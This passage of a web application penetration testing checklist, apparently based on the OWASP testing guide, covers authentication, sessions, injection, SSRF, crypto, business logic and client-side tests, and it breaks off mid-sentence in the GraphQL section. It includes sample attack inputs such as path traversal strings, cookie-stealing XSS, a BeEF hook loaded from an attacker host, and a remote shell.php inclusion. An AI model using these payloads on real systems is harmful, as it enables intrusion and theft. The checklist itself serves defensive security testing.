- Gather information about available password reset mechanisms, including

requirements for initiating a reset.
- Evaluate the security of the password reset process, ensuring it's as secure as the
authentication process and protected against automated attacks.
- Check for common vulnerabilities like SQL injection or XSS in the reset process.
- Assess email-based password reset methods for security concerns like
unencrypted password transmission, secure password generation, and anti-spoofing
Not Started
measures.
- Evaluate link-based password reset methods, focusing on HTTPS usage, token
security, link expiry, and exposure to third parties.
- For SMS/phone call-based resets, check token security, rate limiting, and overall
security considerations.
- Ensure authenticated password changes require re-authentication and are not
vulnerable to CSRF attacks, and that a strong password policy is enforced.
- Thoroughly test the primary authentication functions to understand account
creation, password recovery/reset, and any enhanced authentication measures.
- Identify alternative channels by reviewing site content, searching HTTP proxy logs
for specific keywords, and using search engines to find related sites or applications.
- Enumerate authentication functions in each alternative channel, comparing them Not Started
with the primary channel, and note any extra functions or weaker security measures.
- Review and test all identified channels, including out-of-scope or information-only
channels, using tests from other authentication test cases in the guide.
- Ensure a consistent and equally secure authentication policy across all channels.

- Thoroughly examine the primary authentication functions, focusing on account

issuance, password recovery, and enhanced authentication methods.
- Identify and assess additional channels such as mobile apps, federated logins,
and API endpoints for MFA implementation consistency and possible bypass methods.
- Specifically check if MFA is bypassable by completing initial authentication steps
and skipping subsequent MFA stages, or by exploiting exemptions for certain IP
addresses, HTTP headers, or specific accounts. Not Started
- Evaluate MFA management features within user accounts, looking for vulnerabilities
like the need for re-authentication to change MFA settings, exposure to CSRF attacks,
and risks of unauthorized MFA setting alterations through IDOR.
- Analyze MFA recovery mechanisms, particularly the security of recovery codes and
MFA reset processes, ensuring they are robust against brute-force attacks and notify
users upon usage.

Status
- Enumerate input vectors: Identify all parts of the application accepting user content,
including HTTP GET and POST queries, file uploads, and HTML forms.
- Analyze input validation functions: Test for validation checkpoint failures using paths
like ../../../../etc/passwd or external content links, considering system knowledge and
file locations.
- Consider different path separators: Be aware of OS-specific path separators (Unix-
like /, Windows \ or /, macOS :) and test with various encodings and directory traversal
payloads (see PayloadsAllTheThings). Not Started
- Windows-specific testing: For shell and API calls, test with path alterations (angle
brackets, double quotes, extraneous markers). Use UNC filepaths and NT device
namespace for SMB shares and device access.
- Gray-Box Testing: Utilize source code access to search for inclusion functions and
filesystem operations, employing tools like grep and regex patterns for PHP,
JSP/Servlet, and ASP. Insert crafted path traversal strings into database-stored values
and parameters.

- Test horizontal authorization: Generate two users with identical privileges, keep
distinct sessions active, alter session identifiers and parameters in requests, and check
if responses contain private data or indicate operation success on another user's
resources.
- Test administrative function access: Execute administrative function requests as a
non-admin user and observe whether the operation succeeds or the user is created
with privileges.
- Test role-based resource access: As a normal user, attempt to access, modify, or Not Started
delete resources assigned to different roles, such as files in a restricted area.
- Test special header handling: Send requests with X-Original-URL or X-Rewrite-
URL headers pointing to non-existing resources and assess response; if supported,
attempt access control bypass using these headers.
- Test proxy/forwarding headers for access: Use headers like X-Forwarded-For, X-
Remote-IP, adding local network addresses or port elements, to bypass restrictions like
web application firewalls.
- Record and test database functions (create, receive, delete info) for unauthorized
role/privilege access.
- Modify groupID and orderID parameters to test for unauthorized access to
privileged data.
- Change hidden field values (e.g., profile to SysAdmin) in server responses to test
for privilege escalation.
- Test for privilege escalation by altering parameter values in server responses (e.g.,
Not Started
changing PVValid value).
- Modify X-Forwarded-For HTTP header to test IP-based access control and login
attempt limits.
- For vertical authorization, register different role users and interchange session
identifiers to test access to higher role resources.
- Test for authorization bypass by accessing or operating higher role functions
through URL traversal and weak session IDs.

- Identify locations in the application where user input is used to directly access
database rows, files, or pages.
- Change parameter values used for object references to check if objects belonging to
other users can be accessed.
- Use multiple user accounts to cover different owned objects (like private messages,
purchase info) and varying privileges (e.g., admin users). Not Started
- Test scenarios including retrieving database records, performing system operations
(e.g., changing passwords), accessing file resources, and using parameters to access
different application functionalities.
- If object references are split between parameters, modify testing approach
accordingly.

- Identify deprecated OAuth grant types in requests to /token endpoint by examining

the grant_type parameter.
- For public clients, verify proper use of Authorization Code grant with PKCE by
checking for response_type=code and code_challenge=sha256(xyz) in authorization
requests.
- For confidential clients, ensure proper use of Authorization Code grant and check if
Not Started
PKCE extension is used.
- In machine-to-machine scenarios, validate the use of Client Credentials grant by
checking client_id and client_secret.
- Test for credential leakage by using an HTTP intercepting proxy to analyze OAuth
traffic for exposed tokens (access, refresh, authorization code, PKCE code
challenge/verifier) in URLs or referrer headers.
 Status

- Test all client-application interactions for: Secure flag on Set-Cookie directives,

Cookie operations over encrypted transport, forcing Cookie over unencrypted
transport, and security maintenance.
- Analyze persistent cookies for reasonable expiration times and transient cookie
configurations.
- Check HTTP/1.1 and HTTP/1.0 Cache-Control settings for Cookie protection.
- Cookie Collection: Surf application to identify cookie creation, modification,
necessity for application parts, and map each cookie.
- Session Analysis: Examine session tokens for randomness, uniqueness, and Not Started
information leakage, including token structure, and test for predictability and
randomness.
- Cookie Reverse Engineering: Collect multiple cookie instances, observe patterns,
and perform checks on character set, structure, and information carried.
- Test for brute force attacks considering Session ID variance and session duration.
- For Gray-Box Testing: Verify random session token generation, adequate token
length, session timeout, and proper cookie configuration (non-persistent, secure,
HTTPOnly).

- Ensure cookies use the Secure attribute, which requires transmission over HTTPS,
preventing leakage in unencrypted requests.
- Verify HttpOnly attribute usage to restrict cookie access via client-side scripts,
reducing XSS attack vectors.
- Check Domain attribute to ensure cookies are sent only to appropriate domain or
subdomains, avoiding unintended access.
- Confirm Path attribute correctly scopes cookie access to specified URL paths,
preventing misuse across multiple applications on the same server.
- Validate Expires attribute for appropriate persistent cookie lifespan and removal Not Started
after expiration.
- Test SameSite attribute settings (Strict, Lax, None) for cross-site request handling,
with Strict providing highest restriction.
- Review cookies for Host and Secure prefixes, ensuring they meet specific
conditions like Secure attribute presence and path restrictions.
- Apply best practices by combining attributes and prefixes effectively, e.g., Set-
Cookie: __Host-SID=<session token>; path=/; Secure; HttpOnly; SameSite=Strict for
maximum security.
- Make a request to the target site and observe the session identifier set in the
response cookie.
- Authenticate to the application and check if a new cookie is issued post-
authentication.
- If no new cookie is issued, test for session hijacking possibility by sending the old
session identifier to another user and observing if privileges are assigned to this
cookie.
- For testing with forced cookies, follow these steps: Not Started
- Access the login page and save a snapshot of the cookie jar, excluding __Host-
or __Secure- prefixed cookies.
- Log in as the victim, then revert to the saved cookie jar.
- Trigger a secure function and observe if the operation succeeds with the old
cookie.
- Log in as the attacker, replicate the cookie jar setup, and try accessing the
victim's account.

- Test for encryption and reuse of session tokens vulnerabilities by ensuring TLS
encryption is used and session IDs are protected during transit. Replace https:// with
http:// and modify form posts to check for secure and non-secure segregation.
- Ensure different session IDs are used when switching from secure to non-secure
site elements.
- Test for proxies and caching vulnerabilities: Session IDs should never be sent over
unencrypted transport or cached. Check that encrypted communications are default
and enforced, and appropriate cache-control directives are in place. Not Started
- Test for GET & POST vulnerabilities: Avoid using GET requests for Session IDs due
to exposure risks. Ensure server-side scripts do not accept session data sent via GET
when it should be POST.
- Check how Session IDs are transferred (GET, POST, hidden fields), ensure they
are always sent over encrypted transport, and verify if the application can be
manipulated to send Session IDs unencrypted. Confirm appropriate cache-control
directives are applied and consistently present.
- Audit the application's session management to identify if it depends solely on
client-side values like cookies and HTTP authentication credentials. Such reliance
indicates vulnerability to CSRF attacks.
- Test for CSRF vulnerabilities in resources accessible via HTTP GET requests, as
these are easily exploitable.
- For POST requests, create and host a malicious HTML page designed to submit
Not Started
unauthorized requests via a victim's browser. This page should contain a self-
submitting form with hidden inputs to simulate a CSRF attack.
- For web applications using JSON for server communication, exploit CSRF by using
a self-submitting form with JSON payloads. Change the form's encoding type to
text/plain to ensure proper payload delivery.
- Remediation measures can be found in the OWASP CSRF Prevention Cheat Sheet.

- Log Out User Interface Testing: Verify the logout button's visibility and accessibility
on each web page. Key aspects include:
- Presence of a logout button on all pages.
- Easy identification and access to the logout button.
- Immediate visibility of the logout button without the need to scroll.
- Optimal placement in a fixed area of the browser viewport.
- Server-Side Session Termination Testing: Store session cookie values, invoke
logout, and observe application behavior, especially regarding session cookies. Test
for any vulnerabilities by trying to access authenticated pages after logout and by
Not Started
restoring old session cookies.
- Session Timeout Testing: Determine session timeout by requesting an
authenticated page with increasing delays. Assess how the application handles
timeout-triggered logout, balancing security and usability based on application context
(e.g., short timeout for banking apps, longer for forums or wikis).
- Testing in Single Sign-On Environments: Perform logout tests in applications
integrated with Single Sign-On (SSO) systems. Check if logging out of the application
or the SSO system leads to global session termination, requiring re-authentication to
access the application.
- Black-Box Testing for Session Timeout:
- Verify the existence of a session timeout by logging in and observing if the session
logs out after a period of inactivity.
- Determine whether the timeout is enforced client-side or server-side. If session
cookies do not store time data, it's likely server-enforced.
- Test if modifying the cookie's expiration date affects session longevity.
- Gray-Box Testing for Session Timeout: Not Started
- Ensure the logout function destroys or renders session tokens unusable.
- Check if the server properly invalidates session states to prevent replay of
destroyed session identifiers.
- Confirm that the session timeout is enforced by the server, ideally with server-side
session invalidation methods like HttpSession.invalidate() in Java or
Session.abandon() in .NET.

- Black-Box Testing for Session Puzzling:

- Detect and exploit vulnerabilities by enumerating all session variables and
understanding their context. This involves accessing different entry points in the
application and observing the effect on session variables.
- Example: Test password reset functionality, which might populate the session with
Not Started
identifying values, and then access other application parts using this session state to
potentially bypass authentication.
- Gray-Box Testing for Session Puzzling:
- Conduct a source code review to effectively identify session puzzling
vulnerabilities.

- Test session hijacking on sites without full HSTS by using two accounts (victim and
attacker).
- Victim logs in, deletes non-'Secure' cookies, and saves the cookie jar.
Not Started
- Attempt a secure function as the victim.
- If successful, replicate this with the attacker account using the victim's saved cookies.
- Successful execution by the attacker indicates vulnerability to session hijacking.

- Analyze JWT Components: JWTs consist of a header, payload, and signature.

Check the header for token type and algorithm, and review the payload for sensitive
data.
- Signature Verification: Test if the application properly verifies JWT signatures by
modifying the JWT body without altering the header or signature.
Not Started
- Algorithm Manipulation: Check for vulnerabilities related to the none algorithm and
public key vs HMAC confusion. For none, change the alg header to none, remove the
signature, and see if the application accepts the modified JWT.
- Weak HMAC Keys: If JWT uses HMAC, investigate if a default HMAC signing key is
used or attempt to brute-force the key.
 Status

- Use in-browser tools or proxies to identify all user-defined variables and hidden
inputs on web pages.
- Employ web application fuzzers or manual input of crafted data (e.g.,
<script>alert(123)</script>) to test each input vector for XSS vulnerabilities.
- Analyze results of test inputs for unencoded, unfiltered special characters in HTML
(e.g., >, <, &, ', ") or JavaScript (e.g., \n, \r, ', ", \, \uXXXX). Not Started
- Test for bypassing XSS filters using variations in syntax, encoding, and techniques
like HTTP Parameter Pollution, and evaluate effectiveness of web application's input
sanitization.
- In gray-box testing, utilize partial knowledge of the application to focus on user
input, validation controls, and rendering of input back to the user.
- Identify all user input storage points in the application (e.g., user profiles, shopping
carts, file managers, application settings, forums, blogs, logs) and note how they are
displayed.
- Analyze HTML and JavaScript to understand how stored input is used in the context
of the page, including out-of-band channels and areas accessible by administrators.
- Test for stored XSS by injecting basic examples (like
aaa@aa.com"><script>alert(document.cookie)</script>) using both HTTP GET and
Not Started
POST requests, with and without JavaScript enabled.
- Use advanced JavaScript frameworks like BeEF for exploiting stored XSS; inject a
JavaScript hook (e.g., aaa@aa.com"><script src=http://attackersite/hook.js></script>)
and control the user's browser via the BeEF console.
- Check file upload functionalities for vulnerabilities by testing if HTML content or
arbitrary MIME types can be uploaded, and consider browser-specific MIME handling
differences.
N/A Not Started

- Identify forms or actions allowing user input. For GET requests, modify query
strings in the browser; for POST, use an intercepting proxy.
- Test by appending the same parameter with different values to GET or POST data,
then analyze the response for which values are parsed.
- Perform three-step analysis: submit a standard HTTP request and record the
Not Started
response; replace parameter value with a tampered one and record; combine both
requests, submit, and compare responses.
- For client-side HPP, identify forms/actions that reflect user input. Append
%26HPP_TEST to each HTTP parameter and check for url-decoded occurrences in
the response.
- Identify when the application interacts with a database (e.g., authentication forms,
search engines, e-commerce product listings).
- List and test all input fields, including hidden POST fields, HTTP headers, and
cookies, to interfere with SQL queries.
- Add a single quote ' or a semicolon ; to input fields to generate errors, indicating Not Started
SQL injection vulnerabilities.
- Use comment delimiters and SQL keywords like AND/OR to modify queries.
- Monitor web server responses and HTML/JavaScript source code for error
messages indicating SQL injection vulnerabilities.

- Replace values in LDAP search filters (e.g., user=John to user=*) to test for
unfiltered input leading to LDAP injection.
- Insert LDAP metacharacters (e.g., (, |, &, *) in parameters to check for application
errors.
Not Started
- Test login processes using LDAP for user authentication; inject always true LDAP
queries to bypass authentication.
- For example, manipulate LDAP user/password filters to gain logged-in status as the
first user in the LDAP tree.

- Insert XML metacharacters (', ", >, <, <!--/-->, &, <![CDATA[ / ]]>) into user inputs to
test for malformed XML documents.
- Check for exceptions during XML parsing when metacharacters are part of
attribute values in tags.
- Test with open or closed angular parentheses in user input to validate XML
Not Started
document formation.
- Use ampersand (&) without proper encoding (&amp;) to identify undefined entities in
XML.
- Inject CDATA section delimiters to evaluate if XML document processes them
correctly or includes them in HTML output, potentially leading to XSS vulnerabilities.

- Inject SSI directives as user input to test for vulnerable SSI implementation.
- Determine if the web server supports SSI by identifying the server type or checking
for .shtml extensions.
- Identify all user input vectors, including pages with user input, headers, and
Not Started
cookies.
- Test input validation by attempting to inject characters used in SSI directives.
- Check if injected SSI directives like <!--#echo var="VAR"--> or <!--#include
virtual="FILENAME"--> are executed by the server.
- Test for XPath Injection by inserting a single quote (') in input fields to create syntax
errors in XPath queries.
- Check if the application improperly filters user input, allowing XPath code injection
that alters query results.
Not Started
- Use values like ' or '1' = '1 in username and password fields to create queries that
always evaluate to true.
- If the application doesn't provide error messages, use Blind XPath Injection
techniques to reconstruct the XML data structure.

- Analyze application input handling by sending bogus requests and observing

responses; secure applications should return an error.
- Test IMAP/SMTP injection by manipulating request parameters (e.g., assigning null,
random values, or special characters to mailbox parameter).
- Observe error messages from manipulated requests to identify injection points and
affected IMAP/SMTP commands. Not Started
- Determine injection level (unauthenticated or authenticated) and test accordingly
using IMAP commands like CAPABILITY, AUTHENTICATE, LOGIN.
- Structure IMAP/SMTP injection with a header (ending of expected command), body
(new command), and footer (beginning of expected command), ensuring command
termination with CRLF (%0d%0a) sequence.

- Inject malicious code using query strings in URLs, e.g., appending commands to file
inclusion parameters.
- Examine ASP code for user input used in execution functions, checking if commands
can be entered.
- Review the application's handling of user input in execution functions for code
Not Started
injection vulnerabilities.
- Focus on input validation practices to detect any weak points allowing code
injection.
- Use automated scanning tools and manual testing methods to identify potential
injection points.

- Append special characters like | or ; to filenames in URLs to execute commands,

e.g., http://example.com/file?name=filename|.
- Use URL encoding like %3B for semicolons to execute appended commands in
URLs.
Not Started
- Employ personal proxies like ZAP or Burp Suite to modify POST requests and
inject commands.
- Utilize special characters for command injection: |, ;, &, $, >, <, ', !.
- Test command execution with combinations like cmd1|cmd2 and cmd1;cmd2.
N/A Not Started

- Use static analysis tools for C/C++ (Flawfinder), Java (FindSecurityBugs), and PHP
(String formatter Analyzer) to find format string vulnerabilities.
- Manually inspect code for format string vulnerabilities, especially in cases where
static analysis might miss complex code-generated format strings.
- Inject conversion specifiers in string inputs during unit or system tests, and observe
Not Started
for crashes or unexpected outputs.
- Perform manual injection tests using web browsers or API debugging tools with
URLs containing encoded conversion specifiers, e.g., %25s%25s%25s%25n.
- Utilize fuzzing tools like wfuzz, with a list of inputs including normal and malicious
strings, to automate injection testing.

- Verify file upload content types and URLs; use files that exploit local workstation
components upon viewing or downloading.
- Inject JavaScript code in vulnerable fields, like in a bulletin board, to capture
cookies and impersonate users.
- Test for SQL Injection vulnerabilities and insert XSS attacks in SQL-injectable fields
Not Started
to change database values without proper filtering.
- Utilize misconfigured servers to upload active components, like WAR files, and
deploy applications that trusted site users can access.
- Leverage any vulnerabilities to change web page contents at the server, planting
incubated attacks.

- For Black-Box Testing:

- Identify user inputs that influence response headers.
- Inject CR+LF sequences (%0d%0a) to split responses, e.g., in redirection URLs.
- Target headers like Location and Set-Cookie for splitting.
- Consider complexities like URL encoding and response caching in real-world
exploitation.
- For Gray-Box Testing: Not Started
- Understand target-specific HTTP message parsing for effective HTTP Splitting.
- Leverage POST instead of GET if needed, using padding between split messages.
- Exploit HTTP Smuggling by crafting messages parsed differently by various agents
(e.g., firewalls, web servers).
- Create large, structured requests to bypass firewall detection but be executed by
target servers.
- Set up a reverse proxy on the web server using Fiddler (Windows) or Charles
(Linux) to monitor all HTTP requests.
- Capture, inspect, and optionally modify and replay HTTP traffic through these
tools.
- Use port forwarding to intercept HTTP requests without client-side changes,
Not Started
configuring Charles as a SOCKS proxy.
- Capture network traffic at the TCP level using TCPDump or WireShark, then edit
and replay HTTP requests using Ostinato.
- For HTTPS traffic, use Wireshark with the web server's private key to decrypt and
inspect messages.

- Supply a different domain in the Host header field and check if the web server
processes this input, potentially causing a redirect or other unexpected behavior.
- Bypass Host header injection mitigation by using the X-Forwarded-Host header.
- Exploit web cache poisoning by manipulating the web cache with a malicious Host
header. Not Started
- Test for password reset poisoning by modifying the Host header in password reset
requests.
- Access private virtual hosts by manipulating the Host header, especially in split-
horizon DNS setups.

- Use common template expressions in plaintext context to identify template

execution by monitoring server responses.
- For code context, construct requests that cause blank or error server responses,
then attempt to break out of the template statement.
- Identify the templating engine by analyzing server responses to various template
Not Started
expressions, using tools like Tplmap or Backslash Powered Scanner Burp Suite
extension.
- Build an RCE exploit by studying template documentation, focusing on syntax,
security considerations, built-in methods, and extensions. Explore objects, methods,
and properties accessible through the template engine.

- Test local and remote file inclusion by making the server load or save potentially
malicious content. Example: GET
https://example.com/page?page=https://malicioussite.com/shell.php.
- Access restricted pages via the loopback interface, like GET
https://example.com/page?page=http://localhost/admin.
- Test for SSRF in PDF generators, trying to inject HTML content. Not Started
- Fetch local files, for instance, GET
https://example.com/page?page=file:///etc/passwd.
- Test SSRF in various HTTP methods and inject into headers and cookies.
- Bypass filters blocking localhost or 127.0.0.1 using alternative IP representations,
string obfuscation, or URL manipulation techniques.
- Enumerate application parts accepting user content, looking for create/update
operations and input patterns like user[name]. Test non-existent attributes and analyze
error responses.
- Identify sensitive fields by analyzing HTML, JavaScript, API responses, and
differences in requests made by users of varying privilege levels. Not Started
- Check the impact by analyzing how test inputs affect the application, focusing on
changes that could lead to security issues like privilege escalation.
- In gray-box testing, leverage source code and DB schema access to pinpoint
vulnerable handlers and sensitive fields, ensuring controls are in place.

Status

- Trigger web server error messages by searching for non-existent files (404s),
requesting existing folders (403s, blank page, directory listing), and sending malformed
HTTP requests (e.g., large paths, broken headers).
- For applications, identify input points, analyze expected input types, and fuzz inputs
to elicit various error messages like stack traces, memory dumps, or mishandled
Not Started
exceptions.
- Refine fuzzing based on the service generating the error message to extract more
detailed information or error specifics.
- Stay vigilant for errors disguised as successful responses, hidden in 302 redirects,
or represented in a custom format.

N/A Not Started

Status
- Review server configurations for legacy TLS protocols and ciphers with known
weaknesses, like SSLv2, SSLv3, TLSv1.0, and weak DHE keys.
- Check digital certificates for minimum 2048-bit key strength, use of SHA-256 or
stronger signature algorithms, and validity including trusted CA and correct SAN.
- Identify implementation vulnerabilities in TLS, focusing on known issues in popular
libraries like OpenSSL. Not Started
- Assess application vulnerabilities related to TLS, including checking for mixed
active content, proper redirection from HTTP to HTTPS, and correct usage of security
headers.
- Perform automated testing using tools like Nmap, OWASP O-Saft, and SSL Labs,
and manual testing with tools like openssl s_client for specific protocols and ciphers.

- Identify potential padding oracle input points by looking for encrypted data,
typically base64 encoded, with lengths multiple of common cipher block sizes (8 or 16
bytes).
- Verify application response to bitwise tampering of encrypted values. This involves
decoding the base64 value, modifying bits, re-encoding, and observing the behavior. Not Started
- Check for three possible states after decryption: correct decryption, garbled data
causing errors, or decryption failure due to padding errors.
- In gray-box testing, ensure encrypted data is decrypted securely (using
mechanisms like HMAC, GCM, CCM) and all errors are handled uniformly.

- Capture traffic between a client and web server to identify if sensitive data is
transmitted over HTTP instead of HTTPS.
- Test for basic authentication over HTTP using tools like curl to check if credentials
are sent in clear text.
- Check if forms transmit user credentials or session IDs over HTTP. Not Started
- Ensure password reset, change password, or other account manipulation features
use HTTPS.
- Use grep to search for hardcoded sensitive information like passwords or encryption
keys in source code or logs.

- Ensure AES128 or AES256 uses a random and unpredictable IV (Initialization

Vector). Avoid weak random number generators like java.util.Random.
- Use Elliptic Curve Cryptography (ECC) with secure curves like Curve25519, or
RSA encryption with at least a 2048-bit key.
Not Started
- Avoid weak hash/encryption algorithms like MD5, RC4, DES, Blowfish, SHA1, and
ensure adequate key lengths for different cryptographic uses.
- Conduct a source code review for the use of weak algorithms, improper IV usage,
and hardcoded sensitive information.
 Status

- Review project documentation and use exploratory testing to find data entry points
or hand-off points between systems.
- Insert logically invalid data into the application/system to test data validation.
- Conduct frontend GUI Functional Valid testing to ensure only valid values are
accepted. Not Started
- Use an intercepting proxy to observe HTTP POST/GET requests, focusing on
potential injection or tamper points.
- Test fields with logically invalid data, like incorrect social security numbers or
identifiers, to verify server-side validation.

- Use an intercepting proxy to observe HTTP POST/GET requests, looking for

patterns indicating incrementing or guessable values.
- Change guessable values to assess if unexpected visibility or access is gained.
- Also, observe HTTP POST/GET requests for hidden features like debug options that Not Started
can be activated.
- Attempt to change these values to see if the application responds differently or
reveals additional functionality.

- Capture HTTP traffic with a proxy to find hidden fields, then compare these fields
with the GUI application. Manipulate these values through the proxy to test if you can
bypass business logic.
- Look for non-editable areas in the application where information can be inserted.
Not Started
Test these fields by submitting different data values to circumvent business logic.
- Identify application components like logs or databases that could be impacted.
Attempt to read, edit, or remove information in these components to test integrity
checks.

- Identify processes dependent on timing, such as task completion windows or

execution times that could allow control bypass.
- Automate requests to exploit these processes for more precise timing analysis than
manual testing.
Not Started
- Map out process flows and injection points, and prepare requests to target these
vulnerable processes.
- Conduct close analysis after testing to identify differences in process execution and
any deviations from expected business logic.
- Review the project documentation and explore the application to identify functions
or features that should have a limit on the number of times they can be executed.
- Develop abuse/misuse cases for each identified function or feature to test if a user
Not Started
can execute it more times than allowed. This includes testing whether a user can
repeatedly navigate back and forth through the application's pages to re-execute a
function or exploit features like shopping carts for additional discounts.

- Start a transaction and proceed past points that trigger credits or points to a user's
account. Then cancel or alter the transaction to test if the points or credits are correctly
adjusted.
Not Started
- On content management or bulletin board systems, enter valid initial text or values,
then attempt to append, edit, or remove data to leave it in an invalid state, ensuring the
system prevents saving incorrect information.

- Monitor for indications of in-built application self-defense mechanisms during all

other tests, such as changed responses, blocked requests, or actions that log out or
lock a user's account.
- Look for localized defenses like rejecting input with certain characters or temporary
account lockout after multiple authentication failures.
- Assess if there are defenses against general misuse like forced browsing, bypassing Not Started
input validation, multiple access control errors, and receiving blatantly malicious
payloads.
- Check if the application responds appropriately to misuse patterns such as rapid or
automated usage, changing geo-locations, or accessing multi-stage processes in the
wrong order.

- Review the application's logical requirements to understand the expected file types.
- Prepare a set of files not approved for upload, such as JSP, EXE, or HTML files
containing scripts.
- Use the file submission or upload mechanism in the application to attempt
uploading these non-approved files.
- Verify that the application properly prevents the upload of unapproved file types.
- Check if the application relies only on client-side JavaScript for file type checks. Not Started
- Assess if the application checks file types by “Content-Type” in HTTP requests or
by file extension.
- Test if uploaded files can be accessed directly by a specified URL or include
code/script injection.
- Check for file path validation, especially for compressed files that might extract to
an unintended path.
- Ensure only trusted file types can be uploaded.
- Protect against web shells by uploading with a random name, password protection,
and IP restrictions.
- Bypass filters using techniques like changing Content-Type, file extensions, and
trailing characters.
Not Started
- Validate file contents, including scanning for malware and checking for harmful
content based on file type.
- Test for archive directory traversal and Zip bomb attacks.
- Assess XML file vulnerabilities like XXE and denial of service attacks.
- Review source code for APIs/methods related to file handling.

- Examine different payment gateway integration methods, such as third-party

redirection, IFRAME loading, cross-domain POST requests, or direct API posts.
- Understand the relevance of PCI DSS, especially for systems that store, process, or
transmit cardholder data.
Not Started
- Check for quantity tampering in e-commerce sites, ensuring items added to the
basket are correctly quantified and validated.
- Test multiple methods for modifying basket contents, like adding negative quantities
or tampering with dropdown menus for item quantities.

Status

- Crawl the website to identify all instances of JavaScript execution and where user
input is accepted. This helps in understanding the code being executed dynamically by
the server.
- Identify two main forms of user input: input written to the page by the server and
input obtained from client-side JavaScript objects.
- Analyze how input is handled, focusing on whether it undergoes server-side
filtering or browser-side encoding.
Not Started
- Recognize that JavaScript can be executed outside <script> blocks, like in event
handlers or CSS blocks with expression attributes.
- Note the limitations of automated testing in detecting DOM-based XSS,
emphasizing the need for manual testing. This includes examining areas where
parameters are referred to that could be exploited by an attacker, where code is
dynamically written to the page, or where the DOM is modified or scripts are directly
executed.
- The primary objective is to identify sinks and possible JavaScript injection points.
- Examine the application's JavaScript code for any areas where user-supplied input
is directly used or executed.
Not Started
- Test cases like the provided script example, where the location.hash source is
controlled by the attacker, can be exploited to inject JavaScript into the message value.
This could potentially allow an attacker to take control of the user's browser.

- Identify HTML injection points and assess the severity of the injected content. This
involves pinpointing areas in the application where HTML code can be inserted by an
external user and determining the impact of such injections.
- For a comprehensive approach: examine input fields, URL parameters, and any Not Started
other data entry points that could be manipulated to inject HTML. The severity
assessment would consider the potential impact, such as unauthorized access, data
leakage, or client-side script execution.

- Identify client-side redirections in the code, particularly those using the

window.location object.
- Check for lack of validation in redirection scripts, like in the example where user-
supplied input (redir) is directly assigned to window.location without encoding, creating
a URL redirection vulnerability. Not Started
- Test redirection scenarios with different inputs in the query string to see if the
application redirects to unintended locations.
- Be aware of potential JavaScript injection vulnerabilities in redirection scripts and
how different browsers may treat characters differently.

- Analyze the code to determine if users can inject content into the CSS context. Pay
special attention to how the website processes inputs to generate CSS rules.
- Examine code examples where user input, like location.hash, is used to dynamically
set CSS properties. This kind of implementation can lead to CSS injection Not Started
vulnerabilities.
- The risk and impact of such vulnerabilities vary based on the browser and the
specific payload used by an attacker.
- Identify whether the application allows user-controlled inputs to specify external
resources without proper validation.
- Investigate client-side scripts handling URLs associated with various resources like
images, videos, objects, CSS, and iframes for potential vulnerabilities.
- Focus on injection points (sinks) where an attacker can include client-side code,
potentially leading to XSS vulnerabilities. These include tags and methods such as:
- Frame: iframe src Not Started
- Link: a href
- AJAX Request: xhr.open(method, [url], true); URL
- CSS: link href
- Image: img src
- Object: object data
- Script: script src

- Manually identify if the application allows user inputs to specify external resources
without proper validation.
- Investigate client-side scripts handling URLs associated with various resources like
images, videos, CSS, iframes, etc., for potential vulnerabilities.
- Check for possible injection points or sinks, such as the src attribute in iframes, Not Started
href in links, URLs in AJAX requests (xhr.open method), and the src attribute in script
tags.
- Focus on sinks that allow client-side code injection, which could lead to cross-site
scripting (XSS) vulnerabilities.

- Use Flare to decompile SWF files for white-box testing of Flash applications.
- Check FlashVars in ActionScript for potential attack vectors, using examples in
HTML or URL parameters.
- Identify entry points for data use in unsafe methods (e.g., loadVariables(),
getURL(), XML.load()) for vulnerabilities. Not Started
- Test for Reflected XSS by hosting the SWF file on the victim's host and using
techniques like iframes or direct URL loading.
- Evaluate the use of ExternalInterface.call and HTML Injection in TextField Objects
for potential security flaws.
- Create a simple web page with an iframe containing the target site to test if it can be
loaded in an inline frame.
- If the target site loads in the frame, it's vulnerable to clickjacking; if not, it may have
some form of protection.
- Test for Frame Busting bypass using techniques like Double Framing, Disabling
Not Started
JavaScript, or exploiting XSS filters in browsers.
- Explore client-side protections like Frame Busting scripts, and server-side
protections such as the X-FRAME-OPTIONS header.
- Consider the less complex nature of mobile website versions which may have fewer
protections against such attacks.

- Identify WebSocket usage by inspecting client-side code for ws:// or wss:// URI
schemes, using Chrome’s Developer Tools, or ZAP's WebSocket tab.
- Test origin handling by attempting to connect with a WebSocket client; if successful,
the server may not be validating the origin header.
- Ensure WebSocket connections use TLS (wss://) for confidentiality and integrity, and
Not Started
check for HTTPS implementation issues.
- Perform standard black-box authentication and authorization tests, as WebSockets
don't handle these.
- Use ZAP to replay and fuzz WebSocket requests and responses for input
sanitization.

- Ensure the application filters and processes messages only from trusted domains
and that postMessage() does not use * for the target origin.
- Check for message event listeners in code and verify domains before data
manipulation to prevent security risks.
Not Started
- Treat data from web messages as untrusted, and check for insecure methods like
eval() or innerHTML, which can lead to DOM-based XSS vulnerabilities.
- Perform static code analysis on JavaScript to assess restrictions on messages
from untrusted domains and data handling for trusted ones.
- Test localStorage by listing all key-value entries, noting that entries persist even
after the browser window closes, except in Private/Incognito mode.
- Examine sessionStorage similarly; its entries are ephemeral and cleared when the
browser tab/window is closed.
- Inspect IndexedDB, which stores more than strings, including complex JavaScript
Not Started
objects like CryptoKeys. Ensure CryptoKeys are set to extractable: false for security.
- Review cookies for session management and arbitrary data storage; they are key-
value storage mechanisms.
- Check the global window object for custom attributes, as any data attached will be
lost on page refresh or close.

- Collect data using both authenticated and unauthenticated sessions to identify

endpoints sending sensitive data, focusing on dynamically generated JavaScript
responses.
- Check for sensitive data leakage through global variables, global function
parameters, CSV with quotations theft, JavaScript runtime errors, and prototype
chaining using this. Not Started
- Test global variables and function parameters for leaks by creating a mock attack
site that includes the victim's JavaScript files.
- Inject JavaScript into CSV data to test for data leakage.
- Exploit JavaScript runtime errors in older browsers (like IE9/10) and prototype
chaining vulnerabilities to leak sensitive data.
N/A Not Started

Status
- Introspection Queries: Utilize introspection to understand the supported queries,
data types, and schema details of a GraphQL deployment. Send HTTP requests with
specific payloads to extract schema information. Tools like GraphQL Voyager and
GraphiQL can assist in visualizing and documenting the schema.
- Authorization Testing: Investigate for authorization issues by examining the schema
and sending queries that might bypass privilege restrictions. Test for broken access
control by using extracted tokens or other means to access unauthorized data.
- Injection Testing: Leverage GraphQL as an entry point for underlying vulnerabilities Not Started
like SQL injection or XSS. Test custom data types (scalars) for validation issues and
attempt to exploit them.
- Denial of Service (DoS) Testing: Test for potential DoS attacks by constructing
deeply nested or recursive queries that could overload server resources.
- Batching Attacks: Test for batching attacks where multiple queries are combined
